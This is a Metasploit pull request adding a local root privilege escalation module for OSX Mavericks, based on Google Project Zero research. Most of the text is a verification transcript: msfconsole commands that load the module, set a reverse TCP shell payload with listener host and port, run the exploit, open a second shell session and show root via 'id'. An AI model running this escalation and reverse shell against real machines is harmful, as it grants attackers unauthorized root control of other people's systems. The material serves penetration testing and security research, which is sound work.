rapid7/metasploit-framework — pull request #4263 by jvennix-r7 (2014-11-25 18:38:47+00:00)
Title: Add an OSX Mavericks root privilege escalation from Google's Project Zero

Google's Project Zero has been killing it. Here's a root exploit for OSX Mavericks they published a short while ago:

#### Verification

- [ ] get an unprivileged command shell on OSX and use the exploit to grab root:

msf exploit(iokit_keyboard_root) > [*] Command shell session 1 opened (192.168.0.2:4444 -> 192.168.0.2:49368) at 2014-11-25 12:23:28 -0600

msf > use exploits/osx/local/iokit_keyboard_root
msf exploit(iokit_keyboard_root) > set session 1
msf exploit(iokit_keyboard_root) > set payload osx/x64/shell_reverse_tcp
msf exploit(iokit_keyboard_root) > set lhost 192.168.0.2
msf exploit(iokit_keyboard_root) > set lport 5555

msf exploit(iokit_keyboard_root) > check
[+] 192.168.0.2 - The target is vulnerable.
msf exploit(iokit_keyboard_root) > run

[*] Started reverse handler on 192.168.0.2:5555
[*] Writing temp file as '/tmp/yvfpmcfihdyc'
[*] Writing payload file as '/tmp/ycjakcjtprzn'
[*] Executing payload...
[*] Command shell session 2 opened (192.168.0.2:5555 -> 192.168.0.2:49369) at 2014-11-25 12:23:52 -0600
[+] Deleted /tmp/yvfpmcfihdyc
[+] Deleted /tmp/ycjakcjtprzn
id

454081642
CUwLFYUdgTLqHVLNRIazJRphcAhRGrhf
TbGzTfoPamXtIqLCqlrzfWGMlWdUfQQD
GOuypbpRlEfoQbWyvwCKxUwaCaHlFFvq
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),33(_appstore),98(_lpadmin),
100(_lpoperator),204(_developer),398(com.apple.access_screensharing),206(com.apple.access_loginwindow),401(com.apple.sharepoint.group.1)